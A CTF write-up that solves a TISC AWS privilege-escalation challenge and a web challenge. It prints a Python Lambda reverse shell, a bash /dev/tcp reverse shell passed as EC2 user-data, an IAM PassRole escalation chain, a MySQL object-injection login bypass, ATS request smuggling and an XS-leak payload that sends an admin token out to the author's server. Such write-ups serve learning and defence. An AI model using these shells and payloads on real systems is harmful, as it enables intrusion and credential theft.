The permissions here didn’t give me any immediate headway with the challenge. A few of the ec2 permissions had references to Palindrome, agents and C2 infra. Many of these references appear in resources located in the “ap-southeast-1a” region so we can change our region in aws configure. Using the iam list-roles permissions, I also found what roles there were: ec2_agent_role, lambda_agent_development_role, lambda_agent_webservice_role, lambda_cleaner_service_role. However, I still did not know what my role was, nor any of the permissions associated with each role. At this point, based on the previous clue, I thought I had to either start an EC2 computing instance (and somehow get the flag), or connect to an existing EC2 instance. Either operations were not authorized under the user I was logged in to.

Enumerating further with pacu, I tried iam__bruteforce_permissions. Listing pacu’s findings with whoami, we obtain new findings

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
  "UserName": "user-0eaf6a1945f34c4890ae11a44bef6b3c",
  "Roles": null,
  "Groups": [],
  "Policies": [{
      "PolicyName": "user-0eaf6a1945f34c4890ae11a44bef6b3c",
      "PolicyArn": "arn:aws:iam::051751498533:policy/user-0eaf6a1945f34c4890ae11a44bef6b3c"
    }],
  "Permissions": {
    "Allow": {
      "iam:ListAttachedRolePolicies": {"Resources": ["*"]},
      "iam:ListRoles": {"Resources": ["*"]},
      "iam:GetPolicy": {"Resources": ["*"]},
      "iam:GetPolicyVersion": {"Resources": ["*"]},
      "lambda:CreateFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "lambda:GetFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "lambda:InvokeFunction": {
        "Resources": [
          "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
        ]
      },
      "iam:ListAttachedUserPolicies": {
        "Resources": [
          "arn:aws:iam::051751498533:user/${aws:username}"
        ]
      },
      "iam:PassRole": {
        "Resources": [
          "arn:aws:iam::051751498533:role/lambda_agent_development_role"
        ]
      },

This was the pivotal step in my exploitation, as I could now fully enumerate the system. Via four operations, I could find out what permissions the different users had. First, I used the list-roles operation to list all roles and their respective ARNs. Next, I used the list-attached-role-policies operation to list the policies attached to that role by passing in the role’s ARN. After that, I used get-policy to find the policy’s default version by specifying the policy’s ARN. Finally, I found the policy’s associated permissions with get-policy-version, specifying the policy ARN and version number. For example, this is the sequence for the ec2_agent role.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
$ aws iam list-roles --output json
"RoleName": "ec2_agent_role",
"RoleId": "AROAQYDFBGMSYSEMEVAEH",
"Arn": "arn:aws:iam::051751498533:role/ec2_agent_role",
...
"RoleName": "lambda_agent_development_role",
"RoleId": "AROAQYDFBGMS2NDQR5JSE",
"Arn": "arn:aws:iam::051751498533:role/lambda_agent_development_role",
...
"RoleName": "lambda_agent_webservice_role",
"RoleId": "AROAQYDFBGMSTH7VQVGQC",
"Arn": "arn:aws:iam::051751498533:role/lambda_agent_webservice_role",
...
"RoleName": "lambda_cleaner_service_role",
"RoleId": "AROAQYDFBGMSUI3AJILSK",
"Arn": "arn:aws:iam::051751498533:role/lambda_cleaner_service_role",

$ aws iam list-attached-role-policies --role-name ec2_agent_role             
ATTACHEDPOLICIES        arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role  iam_policy_for_ec2_agent_role

$ aws iam get-policy --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role --output json
{
    "Policy": {
        "PolicyName": "iam_policy_for_ec2_agent_role",
        "PolicyId": "ANPAQYDFBGMSUUGDZFFBM",
        "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role",
        "Path": "/",
        "DefaultVersionId": "v1",
...

$ aws iam get-policy-version --version-id v1 --policy-arn arn:aws:iam::051751498533:policy/iam_policy_for_ec2_agent_role --output json
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": [
                        "dynamodb:DescribeTable",
                        "dynamodb:ListTables",
                        "dynamodb:Scan",
                        "dynamodb:Query"
                    ],
                    "Effect": "Allow",
                    "Resource": "*",
                    "Sid": "VisualEditor0"
                }
            ],
            "Version": "2012-10-17"
        },
...

We can repeat this process on the current user’s policy. We can find that policy’s ARN in the pacu whoami logs. The findings should correspond with the permissions listed in the pacu logs too. I’ll list some of the useful findings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# For current user
"Action": ["iam:GetPolicy", "iam:GetPolicyVersion", "iam:ListAttachedRolePolicies", "iam:ListRoles"]
"Resource": "*"
============================================
"Action": ["lambda:CreateFunction", "lambda:InvokeFunction", "lambda:GetFunction"]
"Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*"
============================================
"Action": ["iam:ListAttachedUserPolicies"]
"Resource": "arn:aws:iam::051751498533:user/${aws:username}"
============================================
"Action": ["iam:PassRole"]
"Resource": "arn:aws:iam::051751498533:role/lambda_agent_development_role"
============================================
"Action": ["ec2:DescribeVpcs", "ec2:DescribeRegions", "ec2:DescribeSubnets", "ec2:DescribeRouteTables", "ec2:DescribeSecurityGroups", "ec2:DescribeInstanceTypes", "iam:ListInstanceProfiles"]
"Resource": "*"
============================================

# For lambda_agent_development_role
"Action": ["ec2:RunInstances", "ec2:CreateVolume", "ec2:CreateTags"]
"Resource": "*"
============================================
"Action": ["lambda:GetFunction"]
"Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service"
============================================
"Action": ["iam:PassRole"]
"Resource": "arn:aws:iam::051751498533:role/ec2_agent_role"
============================================

# For ec2_agent_role
"Action": ["dynamodb:DescribeTable", "dynamodb:ListTables", "dynamodb:Scan", "dynamodb:Query"]
"Resource": "*"

I’ll be referring back to this master list frequently throughout the rest of the write-up. Notably, without pacu, one could have gotten to the same findings by following this write-up on AWS privilege escalation.

Lateral movement #1

Now, we can formulate an exploitation plan. We need to create and invoke a lambda function, and somehow use that to pass a role and escalate our privileges. All you need to know about lambdas for this challenge is that they run your code in the cloud. I won’t go too in depth on provisioning a lambda runtime as the official documentation does a good job of explaining that already. Here is the command I used to create my lambda function. Importantly, the lambda name must follow the format specified in the permissions “arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*”.

1
$ aws lambda create-function --function-name arn:aws:lambda:ap-southeast-1:051751498533:function:user-0eaf6a1945f34c4890ae11a44bef6b3c-bob1 --zip-file fileb://function.zip --handler revsh.lambda_handler --runtime python3.9 --role arn:aws:iam::051751498533:role/lambda_agent_development_role --timeout 800 --memory-size 2048

Here, I supply a zip file “function.zip” which contains a python file and its dependencies. It is important to install the dependencies locally first before uploading the zip file as the lambda file system is read-only, so pip cannot install dependencies directly on the system. The python file was a reverse shell, “revsh.py”, which I specified with the “–handler” option. Finally, the privilege escalation occurs in the “–role” option, where we can pass in a role for the lambda to run as. In this case, I passed in the lambda agent development role, as specified in the permissions earlier. Here is the code for “revsh.py”:

1
2
3
4
5
6
7
8
9
10
11
12
13
import os
import socket
import subprocess

def lambda_handler(event, context):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    HOST = "REDACTED"
    PORT = 3001
    s.connect((HOST, PORT, ))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    p = subprocess.call(["/bin/sh", "-i"])

Creating my reverse shell listener with nc -nlvp 3001 (remember to set up your port forwarding!) and invoking my lambda function:

1
$ aws lambda invoke --function-name arn:aws:lambda:ap-southeast-1:051751498533:function:user-0eaf6a1945f34c4890ae11a44bef6b3c-bob1 out --log-type Tail --query 'LogResult' --output text |  base64 -d

We’re in! We have successfully escalated our privileges to the lambda_agent_development_role. But looking around the file system via the reverse shell, we don’t see anything. Taking another look at the permissions for the role, our new role can retrieve information about a specific lambda, “arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service”, via the get-operation operation. We can run this operation in two ways:

  1. Use the boto3 library. This library is the AWS SDK for Python and we can use it to perform operations like getting lambda functions. However, since this is an external dependency, we will have to package it in our zip file manually.
  2. Using the aws-cli. However, since the aws-cli is not installed by default on the lambda, we need to do something similar to (1). I took this option instead for more flexibility in sending AWS commands. See this guide on how to do it.

Creating a new function (be sure to change the function name) with the aws-cli included, we can now call aws operations via the reverse shell. Via the reverse shell,

1
2
3
4
5
6
7
8
9
10
11
12
13
sh-4.2$ ./aws lambda get-function --function-name arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service
<:aws:lambda:ap-southeast-1:051751498533:function:cat-service                
{
    "Configuration": {
        "FunctionName": "cat-service",
        "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service",
...
    },
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEE8aDmFwLXNvdXRoZWFzdC0xIkgwRgIhAI49qT6xnR9LRTg%2BfH6pZdMDjY9t9zraUShaTnVjPQ7XAiEAhmmjIXptmg03cklQ5vdZ717EfApchga7DCOR5Ln0xuoq6gQI1%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FARAEGgwyOTUzMzg3MDM1ODMiDGEJ%2FsZTrIWJ154YvCq%2BBDBzkzpSrVkMVLOaQ9mRRZpb3egwbFL85hzqASAXDK5bp%2BGKdq25kqvONxyBhMZ9tg8Rp0mcTpuEX6kgzUH0JRTKCZJzSeUrui4H37HURZp0JVNW5b6JT1FDugaMysWg11OxlugdHCLyeLbdSg0wRKW9Gb1c%2BZAHGQoyNpG%2BFbnKRoMMsgu%2BCOuwtc5o51ntYnaK17uLPEKFHYKu9dbxHZD%2BLXgBg8YAFRNENSg9L59Kq7fn5W24feuCfeVlosHnthh7XodZX1SptLnOJ4aIyIgWs4hGPV7UKJhW5HvK8HKjwU7KnII7VvpBlU5ymi4ZqepGorTT8wUtk3urmqeMLqG6wLUdo8GS%2B7SMwsZClyBHZTjRhgJ%2BQAVpho0hWcYJUuFpLH3R8gc0CDl%2FfZf%2FuDMnM7DgQTXUzAYDFH0wPdoiHhDm6eH7F3vWsC6T5YDrzh9%2FSVO9BQYushn7CVgr%2F2GqJDrhOylzuu9Vodbss2N8dv2gv2zOyJPDRopbd5JfBxFJuXo5pycWfbhtxOHrjlylwjNA%2FJc8LRAzyvdHDINKz0jip1mEx8YWEaANVWu2yYGAbPX0ReRocMFRin%2BPtD%2BFw7h9xXJHxLC%2B9ow6%2B9axZ%2BVwe78%2FUHW21QJexB6z1zqGmgvQLltn79IOAB27zWzmCW1q3IWmqcT20Qlibkh0WT%2FU%2FmgKoQ0MpHn5k5EetXE3R%2FWA3GJN5Ow7JNnZNmlUWaF97Elo3iAgr3Xc%2FQDCO34BvseayjWMqyUA23MwkI%2FYmAY6qAGAgpdmhrbRNx%2F997RWnLbq1ay%2FdcbcnpyIzquAwZAHoYwGG9LWCPr54Caljk0bjhhycqsOygfKJvyNHZmctTWfHZ5DNS%2FKULg40Yx4xQA0dlrsYxAjpd65W45dICx%2B309QJ8phJlZuiYuKy6aWa0MuWoLppqcJLLGE4CeP1T8%2FDiSYTSnT0lMwBXVPNgN26znhfANQY9B3cmOZ3mBrzYIGIwZilDSqnKM%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220905T150755Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP4PUG7BYZ%2F20220905%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=c5f0b33cbd565c43dcdcf571373123b531340295323638dd10b5a6a2a668f765"
    }
}

Following the repository link, we download a zip file containing main.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import boto3

def lambda_handler(event, context):
    
    # Work in Progress: Requires help from Agents! 
    
    # ec2 = boto3.resource('ec2')

    # instances = ec2.create_instances(
    #    ImageId="???",
    #    MinCount=1,
    #    MaxCount=1,
    #    InstanceType="t2.micro"
    #)
    
    return {
        'status': 200,
        'results': 'This is work in progress. Agents, palindrome needs your help to complete the workflow! :3'
    }

Thinking back to the permissions this role has, we have an idea of where to go next.

Lateral movement #2

The current user has the ability to run an EC2 instance and also to pass the role to the ec2_agent. This is essentially a repeat of the first lateral movement, but utilising EC2 instances instead of lambda functions. EC2 instances provide a container, once again, one that you can run your code in. Looking at the skeleton of the source code we just got, we see that we will need to create an EC2 instance and fill up certain parameters. The “ImageId” parameter is still unknown, and the list-images operation is forbidden on all roles. “An Amazon Machine Image (AMI) is a supported and maintained image provided by AWS that provides the information required to launch an instance.” (AWS documentation) – so there is no way around supplying an ImageId. Doing some googling gives us the Amazon Linux AMI page, providing some images available to all existing EC2 users. However, we still need to pick an AMI virtualization type. Here, we use the “describe-instance-types” operation to find the instance corresponding to “t2.micro” as mentioned in the source code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ aws ec2 describe-instance-types --output json --filters Name=instance-type,Values=t2.micro
{
    "InstanceTypes": [
        {
            "InstanceType": "t2.micro",
...
            "SupportedRootDeviceTypes": [
                "ebs"
            ],
            "SupportedVirtualizationTypes": [
                "hvm"
            ],
...
            "ProcessorInfo": {
                "SupportedArchitectures": [
                    "i386",
                    "x86_64"
                ],
...

So, I picked the “HVM (SSD) EBS-Backed 64-bit” AMI in “Asia Pacific Singapore” (which corresponds to ap-southeast-1).

There are a few more things we need to do before we can run our EC2 instance. Firstly, we need to pass our role. Reading through the documentation, we see a familiar “–iam-instance-profile” option. Recalling our initial list of permissions we enumerated, our original user could perform the “list-instance-profiles” operation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ aws iam list-instance-profiles  --output json
{
    "InstanceProfiles": [
        {
            "Path": "/",
            "InstanceProfileName": "ec2_agent_instance_profile",
            "InstanceProfileId": "AIPAQYDFBGMS6EKSSQ2RF",
            "Arn": "arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile",
            "CreateDate": "2022-07-22T09:29:35+00:00",
            "Roles": [
                {
                    "Path": "/",
                    "RoleName": "ec2_agent_role",
...

This looks like a good candidate for passing the role to the ec2_agent_role, which we do have the permission to do as found earlier. Next, remembering the clue from all the way back here, “All EC2 computing instances should be tagged with the key: ‘agent’ and the value set to your username”. Once again, our current role has the permission to tag EC2 instances. Our current username is just the name of the lambda function created. Finally, trying to run the instance as is will throw an error requiring we specify our subnet id as well. Running the describe-subnets command, we get the ARN for the custom palindrome subnet. Putting it all together:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import logging
logger = logging.getLogger()
logger.setLevel(logging.INFO)

import boto3
def lambda_handler(event, context):
    ec2 = boto3.resource('ec2')

    n = 2
    username = 'user-0eaf6a1945f34c4890ae11a44bef6b3c-bob' + str(n)

    instances = ec2.create_instances(
       ImageId="ami-08569b978cc4dfa10",
       MinCount=1,
       MaxCount=1,
       InstanceType="t2.micro",
       IamInstanceProfile={
            'Arn': 'arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile',
       },
       SubnetId="subnet-0aa6ecdf900166741",
       TagSpecifications=[
            {
                'ResourceType': 'instance',
                'Tags': [
                    {
                        'Key': 'agent',
                        'Value': username
                    },
                ]
            },
        ],
    )
    my_instance = instances[0]
    logger.info(my_instance.state)

We can check that our instance was created successfully, but how can we exfiltrate the flag now?

Obtain the flag

We first try to obtain arbitrary code execution, like we did with the lambda. Typically, one would obtain credentials to the EC2 instance created and ssh into it. However, this required creating a key-pair which none of the roles had permission to do. Reading through the EC2 documentation again, we see the “–user-data” option, which allows us to run commands on launch. I decided to use another reverse shell, but a bash script this time, for the EC2 instance to execute on launch. So, I packaged a reverse shell “script.sh” into the lambda zip file and re-created the lambda function.

1
2
3
4
#!/bin/bash
export RHOST=REDACTED
export RPORT=4000
bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'

At this point, I decided that using the aws-cli was more convenient than using the boto3 library so I ran the following commands instead.

1
./aws ec2 run-instances --image-id ami-08569b978cc4dfa10 --instance-type t2.micro --iam-instance-profile Arn=arn:aws:iam::051751498533:instance-profile/ec2_agent_instance_profile --subnet-id subnet-0aa6ecdf900166741 --tag-specifications 'ResourceType=instance,Tags=[{Key=agent,Value=user-0eaf6a1945f34c4890ae11a44bef6b3c-bob3}]' --user-data file://script.sh

Listening on port 4000 locally, I got a reverse shell into the EC2 instance. Referring back to the list of permissions for the EC2 agent, we see the following: “dynamodb:DescribeTable”, “dynamodb:ListTables”, “dynamodb:Scan”, “dynamodb:Query”. So, the flag is likely in a dynamodb table. Running the following simple commands gets us the flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
[root@ip-10-0-62-47 /]$ aws dynamodb list-tables
{
    "TableNames": [
        "flag_db"
    ]
}

[root@ip-10-0-62-47 /]$ aws dynamodb describe-table --table-name flag_db
{
    "Table": {
        "TableArn": "arn:aws:dynamodb:ap-southeast-1:051751498533:table/flag_db", 
        "AttributeDefinitions": [
            {
                "AttributeName": "name", 
                "AttributeType": "S"
            }
        ], 
        "ProvisionedThroughput": {
            "NumberOfDecreasesToday": 0, 
            "WriteCapacityUnits": 10, 
            "ReadCapacityUnits": 10
        }, 
        "TableSizeBytes": 37, 
        "TableName": "flag_db", 
        "TableStatus": "ACTIVE", 
        "TableId": "0e289a21-b29e-4cda-b226-74482db06040", 
        "KeySchema": [
            {
                "KeyType": "HASH", 
                "AttributeName": "name"
            }
        ], 
        "ItemCount": 1, 
        "CreationDateTime": 1658482173.718
    }
}

[root@ip-10-0-62-47 /]$ aws dynamodb scan --table-name flag_db
{
    "Count": 1, 
    "Items": [
        {
            "secret": {
                "S": "TISC{iT3_N0t_s0_C1oUdy}"
            }, 
            "name": {
                "S": "flag"
            }
        }
    ], 
    "ScannedCount": 1, 
    "ConsumedCapacity": null
}

Thoughts

Whew! This was a fresh challenge, having done few cloud CTF challs in the past. Although I hit many brick walls along the way, I picked up a lot (perhaps too much) about AWS. Kudos to the challenge author and hopefully there’ll be more such challenges in the future.

Level 5B: PALINDROME’s Secret

Category: Web Exploitation

Description

We have discovered PALINDROME’s secret portal, but we can’t seem to gain access. Thankfully, we managed to steal the source code - can you take a look?

Gaining access to the portal and stealing the PALINDROME admin’s access token will greatly aid our efforts to curb PALINDROME’s ongoing attack.

http://chal010yo0os7fxmu2rhdrybsdiwsdqxgjdfuh.ctf.sg:23627/index

NOTE: Solving this challenge unlocks level 6! Attached files: palindrome-secret-distrib.zip

Exploit

This is a pretty standard web challenge, with nothing too crazy. I’ve broken the exploitation process down into four main parts. To follow along, you should read through the source code yourself first. I’ll only be briefly going through the relevant source code in each section.

  1. Authentication bypass
  2. HTML injection
  3. Request smuggling
  4. XS-leaks

Authentication bypass

The site is a mysql – express – redis stack, using pug for templating and Apache Traffic Server (ATS) for proxying. The entire system can be set up locally with the dockerfile provided. Looking through the source code, the site has a login page which links to the MySQL database. All other pages are hidden behind a authentication middleware, which uses the default express sessions to track the user’s identity. The first step in exploitation involves successfully logging in to the site. A priori, this has to be the first step in the exploitation process as literally all the site’s functionality first requires authentication. Here is the snippet that is called when we send a post request to “/login”, from “main.js”.

1
2
3
4
5
6
7
const postLoginHandler = async (req, res) => {
    const { email, password } = req.body
    if (!email || !password)
        return res.status(400).send({ message: 'Missing email or password' })

    const rows = await query(`SELECT * FROM users WHERE email = ? AND password = ?`, [email, password])
...

Typical SQL injections will not work as the “?” placeholders are a safe way to concatenate user data. The data is first escaped via MySQL functions. However, we can make use of this functionality to craft a new SQL injection. Notably, the login handler does not check the type of the user’s input email and password. You can pick this up by comparing this snippet to other parts of the code, where the user inputs are checked to be of type “string” first. By passing in a JSON object for our email and password, we can create an SQL injection. Let’s look at the email parameter first:

1
2
3
4
5
6
7
email = "test@gmail.com"
query(`SELECT * FROM users WHERE email = ?`, [email]) // normal behaviour, no results
// expands to: SELECT * FROM users WHERE email = "test@gmail.com"

email = {"email": 1}
query(`SELECT * FROM users WHERE email = ?`, [email]) // retrieves all rows
// expands to: SELECT * FROM users WHERE email = `email` = 1

Due to how JSON objects are escaped in MySQL, {"email" : 1} is escaped to `email` = 1. The backticks in MySQL denote column names, so the expression becomes “(email = email) = 1”. Since the inner expression evaluates to be true, and 1 is equivalent to true in MySQL, the entire condition evaluates as true. Repeat this for the password field and we can successfully log in.

1
2
"email":{"email":1},
"password":{"password":1}

Use this as the body for your POST request, either via curl or burpsuite, and you should get a “Set-Cookie” response header with an authenticated session cookie.

This exploit has been around for some time (especially common in passing arrays to fields in PHP). Here’s a recent article detailing this exploit.

HTML injection

We now have access to some of the site’s functionality. We can generate a token (/token) and verify tokens (/verify). The token is composed of 10 random alphanumeric characters, and unique corresponds to a given username. The tokens are stored in the MySQL database. Verifying a token will tell you the username that the token corresponds to. For instance, we can generate a token for “Bob”, which gives us the token “TISC{m:b:f:9:e:g:0:q:o:y}”. Visiting the /verify endpoint and submitting this token, the token is passed as a query parameter in a GET request. On the backend, the username “Bob” is retrieved from the database and the Pug template is created with the following text “This token belongs to Bob. If Bob asks for your token, you can give them this token: TISC{m:b:f:9:e:g:0:q:o:y}.” Here, the two tokens are the same because when I created the token for “Bob”, it was also set to be the token for my current session.

Anyway, seeing the name “Bob” appear in the /verify endpoint should trigger the idea of HTML injection for some sort of XSS later on. Looking at the “verify.pug” template confirms this.

1
2
| This token belongs to !{username}.
| If !{username} asks for your token, you can give them this token: #{token}.

Pug has two ways of string interpolation – “#” is escaped and “!” is unescaped. This means that we can inject raw html into the username field. Let’s try to generate a token (we need to create a new session as you can only generate one token per session) for the username “<script>alert(1)</script>”. Verifying this token reveals that the script tags were successfully injected into the page. However, the code was not executed due to the Content Security Policy (CSP).

1
"default-src 'self'; img-src data: *; object-src 'none'; base-uri 'none'; frame-ancestors 'none'"

Scripts are only allowed to run if their source is the site itself, i.e. “/static/something.js”, inheriting from the “default-src” property. This is a pretty restrictive and safe CSP, except for the img-src policy. For the img-src, we can specify any url (“*”). Generating and verifying the token for the username “<img src="http://my-server/image.png">” confirms that the image will be loaded on the /verify page. This seems to be the extent of HTML injection we can do for now.

Request smuggling

It seems like we have one part of an XSS attack. We still need the “admin” to visit the page. The obvious opportunity for this is in the “/report-issue” and “/do-report” endpoints. An authenticated user can visit the “/report-issue” page and POST a URL to the “/do-report” endpoint. However, as is, the ATS configuration blocks access to the “/do-report” page. From “/proxy/remap.config”:

1
2
3
4
5
...
map             /report-issue   http://app:8000/report-issue
map             /static         http://app:8000/static
map             /do-report      http://app:8000/forbidden
regex_redirect  http://(.*)/    http://$1/index

The endpoint is remapped to forbidden, so the “admin” doesn’t receive our request. In this case, the “admin” is a puppeteer instance that will first log in to the main site with the admin credentials, before visiting our site – all in the same incognito browser window. This is what we should try to target to load our XSS payload. Intuitively, the challenge author wouldn’t include completely irrelevant functionality into their challenge, so there must be a way we can access the “/do-report” endpoint.

Looking through the docker files, I noticed most services were the latest versions, except the Apache Traffic Server (ATS) proxy. The ATS ran on version 9.1.0, which isn’t the latest. Researching vulnerabilities for that version brought me to this page. Looking at the CVEs, I surmised that the vulnerability was likely HTTP request smuggling (don’t worry if this attack is new to you, I’ll be explaining how it works later on). This was supported by the many write-ups on similar vulnerabilities for earlier versions of ATS. However, none of the CVEs had any proofs of concept code. So, I had to work out the exploit on my own just by the CVE name. I tried many variants of smuggling requests but none worked :(

OSINT challenge

Taking a second look at the external links to the latest vulnerabilities, I saw a familiar name:

1
2
3
Reported By:
Mazakatsu Kitajo, Tony Regins, and Zhang Zeyu (CVE-2022-25763)
Zhang Zeyu (CVE-2022-28129)

Zeyu is a Singaporean CTF player who specialises in (and frequently sets) web challenges, so I hypothesised that he set this challenge and I was going down the right path. Further utilising my OSINT prowess, I found Zeyu’s write-up for 2 challenges he authored, involving ATS and request smuggling (the naming conventions seemed to support my hypothesis). Although the version of ATS in that challenge, 9.0.0, was earlier than the 9.1.0 version for this challenge, the second vulnerability he details in his write-up seemed to correspond with “CVE-2021-37147 Request Smuggling - LF line ending”, which was present in all 9.1.x versions of ATS. I’ll now explain how the attack works – I strongly recommend using burpsuite if you are trying to follow along.

Firstly, some pre-requisite knowledge.

  • Body: You send data accompanying your request in the body. A common example is sending form data. The data sent can be in many formats, and is specified via the “Content-Type” header. The amount of content is specified by the “Content-Length” header. This tells the server how much data you are sending over. If the length you specify is too short, the server will not read all of the data you send over. If the length is too long, the server will keep the connection open, waiting for you to send more data. The format is as follows (note the line breaks):
1
2
3
4
5
Content-Type: text/plain
Content-Length: 7
Last-HTTP-Header: Some_value

ABCDEFG
  • Transfer encoding: Instead of sending data the usual way, you can send it in chunks. The “Content-Length” header is no longer needed, but the “Transfer-Encoding: chunked” header is needed to specify this use case. Each chunk starts with the chunk’s length in hexadecimal, followed by the content. The terminating chunk is a chunk of length zero. For example (note the line breaks):
1
2
3
4
5
6
7
8
9
10
Transfer-Encoding: chunked
Last-HTTP-Header: Some_value

8
SomeData
1a
The length is hexadecimal.
0


  • The /do-report payload: Either by reading the source code, or intercepting an outwards request, we see that the data sent to the “/do-report” endpoint is via a POST request, with “Content-Type: application/json” and the body is a stringified JSON object with the field “url”.

Putting it all together, we are ready to smuggle a request. In this context, the idea behind the attack is to compose a “Request A” from two valid requests, “Request X” and “Request Y”. We send the ATS proxy “Request A”, which only sees one request and forwards it to the express backend. Due to differences in configuration, the express backend instead sees the two requests that “Request A” is composed of and serves both requests. Here, “Request Y” is the request to the “/do-report” endpoint, and is smuggled past the ATS proxy, avoiding the redirect to the forbidden page. This should be clearer with the following image

This version of ATS takes “\n” as a newline character, equivalent to “\r\n”. So, it takes “4” to be the length of the first chunk, and “xxxx” to be its data. Next, it takes “ffff” to be the length of the second chunk, which has data that spans to the end of the request. This means that ATS doesn’t serve the second POST request, instead interpreting it as part of the second chunk’s data. Since there is less than 0xffff bytes in the second’s chunk data, the server keeps the connection open but eventually throws a 408 Timeout error. We do this just for convenience of not having to update the chunk length, and we’ll see that it’s not a problem later on.

ATS forwards the entire request to the backend express server, which does its own parsing of the incoming requests. The express server does NOT take “\n” to be a newline character (in fact, this is non-standard behaviour from ATS). So, it reads “4;\nxxxx\r\n” as one line. This is a valid chunk length for express, only reading the “4” as disregarding the characters after the semicolon. Then, it takes “ffff” as the data for that first chunk. Finally, it reads the terminating chunk “0\r\n\r\n” and ends that request. After serving that request, it serves the second POST request to the “/do-report” endpoint!

To try this out yourself, when configuring burpsuite, click on “\n” to see the newline characters. Also, disable “Repeater > Update Content-Length”. Then, start your own webhook-site/ngrok instance and update the body and content-length respectively. Remember to update the session cookie with your own as well. This should confirm that we have gotten the admin puppeteer bot to visit our website.

XS-Leaks

We have most of the pieces of the puzzle already, so let’s do a quick recap and hypothesise what the final exploit would be like. Keep in mind that the flag is the admin’s token.

  • We can inject html onto the /verify page. The CSP hints at injecting an img tag.
  • The /verify page prints out the user’s session’s token.
  • Importantly, the /verify page utilises query parameters, meaning that it takes GET requests. (typically these pages would use POST requests)
  • We can get the puppeteer bot to visit any URL (GET request).
  • The puppeteer bot will login to the platform, setting its session token to be the admin token (the flag).

Everything points to injecting an image on the /verify page, getting the bot to visit it, and somehow extracting information via that. I was quite certain that this would be a pretty novel XS-Leaks method (another of Zeyu’s XS-Leaks challenges). Reading through a few write-ups, and I found the scroll to text fragment & lazy loading image attack vector and an accompanying write-up. Essentially, the fragment “#:~:text=” would scroll to the part of the page with the specified text. Try clicking/visiting this link #:~:text=demonstration. This should scroll you to this section of the page as it includes the word “demonstration”. (This is a pretty new feature, and wasn’t supported on my Firefox browser, but worked on Chrome.) Additionally, lazily loaded images are images that are only loaded when the user scrolls to the section of the page with the image. This is for the purpose of reducing initial load times etc. However, we can combine the two to extract information from the admin bot’s page as follows:

  • Generate a token for the username (just paste the entire chunk into the username field):
1
2
3
4
5
6
<div>
    <img src="http://my-server/buffer-image" width="200px" height="10000px"><br>
</div>
<div>
    <img src="http://my-server/correct-guess" width="200px" height="20px" loading="lazy">
</div>
  • Get the bot to visit “http://localhost:8000/verify?token=your_generated_token_here#:~:text=TISC{“. Looking at the pug template “verify.pug”, we see that our lazily loaded image “correct-guess” is right before the user’s session’s token in the DOM. Since the token starts with “TISC{“, and is the only place on the page with that string, the puppeteer browser will scroll to that section and (lazily) load the image beside it. This triggers a request to my server at “/correct-guess”.
1
2
| This token belongs to !{username}.
| If !{username} asks for your token, you can give them this token: #{token}.
  • We can use this to brute-force the admin’s session token by adding characters to the fragment, i.e. “TISC{a:”, “TISC{b:” and so on. Note that when the token is not a match, the image “correct-guess” will not be loaded due to the huge image “buffer-image” before it.

One character by one character, we eventually leak the admin’s session token! Here’s the final burpsuite request:

Thoughts

Overall, a much more traditional challenge than 4B. I’ve never seen this XS-Leaks method before and it’s really cool. For the solving process, there were a few things I tried that didn’t work, but I now think are worth pointing out. These may turn out useful for similar challenges in the future.

  • Other ATS CVEs: This page lists other vulnerabilities for this version of ATS as well. None of them have attached code samples so my attempts at recreating the vulnerabilities were very much shots in the dark. (possible web pwn chall idea 🥶)
  • Bypassing remap: ATS remapping is very finnicky in general, and it may well be possible to abuse the regex_redirect. There’s very little documentation on this feature.
  • Dangling mark-up: According to the challenge author, there is an unintended solution involving dangling mark-up in “verify.pug”
